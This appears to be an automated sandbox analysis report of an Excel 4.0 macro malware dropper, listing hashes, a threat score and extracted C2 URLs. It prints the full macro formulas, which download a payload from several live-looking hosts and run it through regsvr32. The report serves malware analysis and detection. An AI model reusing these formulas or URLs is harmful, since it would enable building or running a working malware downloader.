Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

General

  • Target

    6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09

  • Size

    51KB

  • Sample

    241111-zzqq1awhpa

  • MD5

    d61f427d8e9d227b50941c420ac9a12d

  • SHA1

    5a184cef2a24e6e8824f1d23bff5514352a8356d

  • SHA256

    6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09

  • SHA512

    d72ce197aade512436116931cae3124db787d302ecf2a2a1f603a53c3b5420767e5eb9a9deeaf07983bfd93abd8bb95e906015c064c8c70a5c95f89164ac23d4

  • SSDEEP

    768:aICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:aItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

Targets

    • Target

      6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09

    • Size

      51KB

    • MD5

      d61f427d8e9d227b50941c420ac9a12d

    • SHA1

      5a184cef2a24e6e8824f1d23bff5514352a8356d

    • SHA256

      6d147022a6d4fdcb9e0b648486ca5bb78c0be40ee542a33d5aa5d79a5ad72d09

    • SHA512

      d72ce197aade512436116931cae3124db787d302ecf2a2a1f603a53c3b5420767e5eb9a9deeaf07983bfd93abd8bb95e906015c064c8c70a5c95f89164ac23d4

    • SSDEEP

      768:aICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:aItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks